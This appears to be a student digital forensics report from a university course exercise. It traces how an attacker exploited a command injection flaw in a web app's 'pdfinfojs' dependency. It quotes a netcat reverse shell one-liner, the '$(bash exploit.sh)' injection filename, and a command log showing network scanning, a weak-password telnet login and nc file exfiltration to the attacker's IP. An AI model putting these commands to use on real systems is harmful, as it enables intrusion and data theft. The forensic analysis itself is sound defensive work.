|  |  |
| --- | --- |
|  | INSTITUTO SUPERIOR TÉCNICO  Departamento de Engenharia Informática  Forensics Cyber Security  MEIC / METI 2020-2021 – 1st Semester |

Digital Forensics Report

**Jorge Brown**

**Nuno Palma**

**Rodrigo Carvalho**

# Do you find solid evidence that the web application has been exploited?

To see if the web application had been exploited, we first looked at its dependencies to find some possible vulnerabilities. We found out that the package “pdfinfojs” had a vulnerability where OS command injection was possible.

The next step was to find where this package was being used and we determined that it was being used in the “src/routes/cv-upload.js” file. The use of the package is done when someone does a HTTP POST request to the /cvupload endpoint. Know this, using Wireshark, we analyzed the provided network traces in search of HTTP requests of this type.

We found two requests done to this endpoint. They both came from the same source address 174.176.50.10 and they were the upload of two different files. Initially a script file named “exploit.sh” was uploaded which had the following content:

**nc.traditional -e /bin/bash 174.176.50.10 8888**

What it does is run netcat, a simple unix utility which reads and writes data across network connections, to establish a connection to the host 174.176.50.10 on port 8888 and run /bin/bash. It then takes the hosts TCP requests’ payloads as standard input and sends its standard output back to the host via a TPC response. This essentially gives remote shell access to the host.

The other file that was uploaded was named “$(bash exploit.sh)” and it is a blank PDF file which sole purpose is to exploit the vulnerability present in the “pdfinfojs” package. This file exploits it because the package will run the following command on a shell:

**pdfinfo $(bash exploit.sh)**

What this command does is execute pdfinfo with the result of “bash exploit.sh” as an argument, but this runs the “exploit.sh” script. Now the web server has had a weakness exploited and is compromised.

|  |  |
| --- | --- |
| **File** | **MD5** |
| src/routes/cv-upload.js | 52941fb04e40b41cefe2ff7c2338a7fb |
| exploit.sh | d6ac4abceb1bf38dad9a4dc76b6d4e9a |
| $(bash exploit.sh) | c94e45783ece1b59c775c471915698c9 |

# Do you find any evidence of transfers involving the documents in the analyzed network traces? What can you tell about the authenticity of the documents that appeared on PharmaLeaks?

Now that we know that the web server is compromised we looked for TCP conversations with the attacker’s IP as source and the web server’s IP as destination in the network trace.

From here we found the commands sent by the attacker:

**ls**

**nmap 192.168.0.0/16**

**telnet 192.168.55.10**

**root**

**penelope**

**password**

**penelope**

**root**

**penelope**

**penelope**

**ls -a**

**nc -q 0 174.176.50.10 23 < xfarma-ceo-email.eml**

**nc -q 0 174.176.50.10 23 < cv.pdf**

**ls -a .ssh**

**ssh penelope@192.168.54.10**

**ls -a**

**nc -q 0 174.176.50.10 23 < report.zip**

**exit**

**exit**

**logout**

**exit**

From here we can see that the attacker first scouted the network using nmap and found a telnet port in the machine with the 192.168.55.10 IP address. Telnet is a network protocol used to virtually access a computer and to provide a two-way text-based communication channel between two machines. This allowed the attacker remote access to Penelope’s computer.

The next commands are login attempts and he succeeds with the user:password combination penelope:penelope. He then uses netcat to send the contents of “xfarma-ceo-email.eml” and “cv.pdf” to himself on port 23.

The attacker then looks for signs of previous use of SSH(Secure Shell) in order to find the required credentials to connect to the server where the confidential files are stored. He sees that there have been previous uses of SSH from Penelope’s machine and so he connects via SSH to the file server on address 192.168.54.10.

From here he uses netcat to send the file “report.zip” to himself and then logs out of all the SSH and telnet sessions.

Now that the attacker’s commands were analyzed we went back to the network trace to find evidence of the transfer of these files. The files were indeed found and their MD5’s are below.

|  |  |
| --- | --- |
| **File** | **MD5** |
| xfarma-ceo-email.eml | ecd9068d354cb2c7292b4dd77d8cde83 |
| cv.pdf | c67bc5270a72a73e84235d5cbc95c472 |
| report.zip | 3744a2d1bf473c74f2f48dd3cca77cab |

# Can you establish a timeline of all relevant events that clarifies how the entire data exfiltration has taken place and the secrets ended up in Rick Chick's computers?

The events that lead us to this investigation were as following:

First this unknown user with the ip 174.176.50.10 exploits XFarma’s Website and gains access to Penelope’s Computer and XFarma’s Internal network through Penelope’s account, which allows him to retreive all the leaked files - xfarma-ceo-email.eml, cv.pdf, report.zip - to his own personal computer.

He then would have to come in contact with Rick Chick in order for the files to end up in Rick’s Computer, so, we assume that this user went by the alias N16H70WL and, after being contacted by Rick Chick, he put all the files in a dropbox link and sent it to Rick Chick through the found email: N16H70WL\_services@protonmail.com.

Then Rick Chick downloaded the files from the dropbox link and leaked the files to XFarma’s Leak Website.

So, in order, all that the user 174.176.50.10 did was:

- Gets reverse shell from XFarma’s Network exploiting and upload vulnerability - [Nov 7, 2020 20:31:40.414069481 EST];

- Finds all the working network including the Gateway - [Nov 7, 2020 20:32:35.929285855 EST];

- Logs in to Penelope’s Computer - [Nov 7, 2020 20:33:38.771144406 EST];

- Retrieves xfarma-ceo-email.eml - [Nov 7, 2020 20:34:10.012105381 EST];

- Retrieves cv.pdf file - [Nov 7, 2020 20:34:34.112749814 EST];

- Accesses XFarma’s Internal Network through Penelope’s account using “ssh penelope@192.168.54.10“ - [Nov 7, 2020 20:35:14.074958261 EST];

- Retrieves “report.zip” file from XFarma’s Internal network - [Nov 7, 2020 20:35:54.939316981 EST];

By now, this user has all the leaked files, so the next thing he did was probably come into contact with Rick Chick and uploaded the files into a dropbox link. Rick Chick then downloads the files from the link and keeps them in his personal computer, to then leak them through that website.

# What can you tell about the identity of the person(s) responsible for leaking the secrets?

After seeing that this “unknown user” with the ip 174.176.50.10 had accessed and retrieved the files present in Penelope’s Computer (xfarma-ceo-email.eml and cv.pdf) and in XFarma’s Internal Network (report.zip), and that these files were the same ones that were in the dropbox link through which Rick Chick downloaded the leaked files, we can safely confirm that this unknown user is the person that goes by the alias N16H70WL with the email N16H70WL\_services@protonmail.com.

Can also attach appendices, e.g., displaying relevant evidence, timelines, etc.